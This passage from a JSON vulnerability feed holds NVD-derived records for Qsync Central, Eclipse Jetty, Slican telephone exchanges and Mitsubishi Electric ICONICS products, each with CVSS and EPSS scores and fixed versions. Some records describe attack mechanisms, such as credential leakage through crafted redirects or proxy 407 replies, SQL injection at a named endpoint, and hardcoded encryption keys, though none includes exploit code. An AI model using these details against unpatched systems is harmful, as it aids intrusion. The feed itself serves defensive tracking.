exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26243","cveId":"CVE-2026-26243","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability has been reported to affect Qsync Central.","summary":"A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.6 and later\nQsync Central 5.1.0.2 and later\nQsync Central 5.2.0.4 and later","detail":"A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.6 and later\nQsync Central 5.1.0.2 and later\nQsync Central 5.2.0.4 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:12.770Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26243","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00419,"percentile":0.35954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-26243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26243","type":"primary","publishedAt":"2026-10-15T10:17:12.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-26243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18660","cveId":"CVE-2026-18660","aliases":[],"kind":"vulnerability","title":"In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by...","summary":"In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by case.","detail":"In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by case.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:12.097Z","updatedAt":"2026-10-15T14:41:34.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18660","asOf":"2026-10-15T14:41:34.110Z"},"epss":{"probability":0.00315,"percentile":0.24189,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18660","type":"primary","publishedAt":"2026-10-15T10:17:12.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77711","cveId":"CVE-2026-77711","aliases":[],"kind":"vulnerability","title":"When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required).","summary":"When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required).\n\n\n\nThe client mistakenly interprets the 407 as coming from the proxy, so it re-sends the request with the `Proxy-Authentication` header, which arrives to the server, that now has access to the proxy credentials.","detail":"When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required).\n\n\n\nThe client mistakenly interprets the 407 as coming from the proxy, so it re-sends the request with the `Proxy-Authentication` header, which arrives to the server, that now has access to the proxy credentials.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:18.573Z","updatedAt":"2026-10-15T14:41:34.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77711","asOf":"2026-10-15T14:41:34.110Z"},"epss":{"probability":0.0044,"percentile":0.37956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77711&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77711","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77711","type":"primary","publishedAt":"2026-10-15T09:17:18.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77711&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77711, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76184","cveId":"CVE-2026-76184","aliases":[],"kind":"vulnerability","title":"In Eclipse Jetty, HttpClient may receive a redirect of the form:\n\n\n\n```\n\n\n\n/secure/../evil\n\n\n\n```\n\n\n\nIf an attacker is able to control the redirects, then HttpClient matches...","summary":"In Eclipse Jetty, HttpClient may receive a redirect of the form:\n\n\n\n```\n\n\n\n/secure/../evil\n\n\n\n```\n\n\n\nIf an attacker is able to control the redirects, then HttpClient matches authentication credentials against `/secure` rather than normalizing the path to `/evil`, and will therefore follow the redirect sending the `Authorization` header for `/secure` to `/evil`.\n\n\n\nThis also mean that the attacker must have an evil application deployed on the same domain as the target.","detail":"In Eclipse Jetty, HttpClient may receive a redirect of the form:\n\n\n\n```\n\n\n\n/secure/../evil\n\n\n\n```\n\n\n\nIf an attacker is able to control the redirects, then HttpClient matches authentication credentials against `/secure` rather than normalizing the path to `/evil`, and will therefore follow the redirect sending the `Authorization` header for `/secure` to `/evil`.\n\n\n\nThis also mean that the attacker must have an evil application deployed on the same domain as the target.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:18.443Z","updatedAt":"2026-10-15T14:41:34.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76184","asOf":"2026-10-15T14:41:34.110Z"},"epss":{"probability":0.00388,"percentile":0.32568,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76184","type":"primary","publishedAt":"2026-10-15T09:17:18.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63315","cveId":"CVE-2026-63315","aliases":[],"kind":"vulnerability","title":"WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext.","summary":"WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext. An attacker with access to the database can obtain the user's password and log in to the subscriber's account.\n\n\n\nThis issue was fixed in IPx series version 6.62.0100.","detail":"WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext. An attacker with access to the database can obtain the user's password and log in to the subscriber's account.\n\n\n\nThis issue was fixed in IPx series version 6.62.0100.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:17.857Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63315","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00288,"percentile":0.21101,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63315","type":"primary","publishedAt":"2026-10-15T09:17:17.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63314","cveId":"CVE-2026-63314","aliases":[],"kind":"vulnerability","title":"WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint.","summary":"WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint. Improper neutralization of input allows an authenticated attacker to execute SQL Injection attacks.\n\n\nThis issue was fixed in IPx series version 6.62.0100.","detail":"WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint. Improper neutralization of input allows an authenticated attacker to execute SQL Injection attacks.\n\n\nThis issue was fixed in IPx series version 6.62.0100.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:17.713Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63314","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00225,"percentile":0.12983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63314","type":"primary","publishedAt":"2026-10-15T09:17:17.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35088","cveId":"CVE-2026-35088","aliases":[],"kind":"vulnerability","title":"Slican telephone exchanges use symmetric encryption for TCP/IP communication.","summary":"Slican telephone exchanges use symmetric encryption for TCP/IP communication. Secret key is hardcoded in multiple binary files. An attacker who has access to these files can decrypt the communication.\n\nThis issue was fixed in IPx series version 6.62.0100.\n\nThe issue STILL EXISTS in End-Of-Life telephone exchanges:\n- CCT-1668 (CCT1CPU)\n- MAC-6400\n- CXS-0424\nThese products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.","detail":"Slican telephone exchanges use symmetric encryption for TCP/IP communication. Secret key is hardcoded in multiple binary files. An attacker who has access to these files can decrypt the communication.\n\nThis issue was fixed in IPx series version 6.62.0100.\n\nThe issue STILL EXISTS in End-Of-Life telephone exchanges:\n- CCT-1668 (CCT1CPU)\n- MAC-6400\n- CXS-0424\nThese products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:17.417Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35088","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00117,"percentile":0.01685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-35088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35088","type":"primary","publishedAt":"2026-10-15T09:17:17.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-35088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18661","cveId":"CVE-2026-18661","aliases":[],"kind":"vulnerability","title":"In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity`...","summary":"In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity` annotation, and `web.xml` defined `security-constraint` on the same `url-pattern` were not being applied if the `web.xml` had more than 1 `url-pattern` for a servlet, and had a `security-constraint` applying to only some of those `url-pattern` definitions.","detail":"In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity` annotation, and `web.xml` defined `security-constraint` on the same `url-pattern` were not being applied if the `web.xml` had more than 1 `url-pattern` for a servlet, and had a `security-constraint` applying to only some of those `url-pattern` definitions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:17.270Z","updatedAt":"2026-10-15T14:41:34.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18661","asOf":"2026-10-15T14:41:34.110Z"},"epss":{"probability":0.00424,"percentile":0.3643,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18661","type":"primary","publishedAt":"2026-10-15T09:17:17.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16437","cveId":"CVE-2026-16437","aliases":[],"kind":"vulnerability","title":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite...","summary":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows an authenticated local user with administrative privileges to unlock the system by tampering with the management file that stores the challenge response. Administrators are able to read and write the management file. But the management file is protected by Windows. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.","detail":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows an authenticated local user with administrative privileges to unlock the system by tampering with the management file that stores the challenge response. Administrators are able to read and write the management file. But the management file is protected by Windows. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:16.910Z","updatedAt":"2026-10-16T06:17:10.823Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16437","asOf":"2026-10-16T06:17:10.823Z"},"epss":{"probability":0.00093,"percentile":0.00514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16437","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16437","type":"primary","publishedAt":"2026-10-15T09:17:16.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101290","cveId":"CVE-2026-101290","aliases":[],"kind":"vulnerability","title":"A remote attacker may send a specially crafted network packet that causes the\naffected application to perform an out-of-bounds memory read due to insufficient validation of\npacket...","summary":"A remote attacker may send a specially crafted network packet that causes the\naffected application to perform an out-of-bounds memory read due to insufficient validation of\npacket length. This may result in an application crash and a denial-of-service condition.","detail":"A remote attacker may send a specially crafted network packet that causes the\naffected application to perform an out-of-bounds memory read due to insufficient validation of\npacket length. This may result in an application crash and a denial-of-service condition.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:14.727Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101290","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00453,"percentile":0.39076,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101290&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 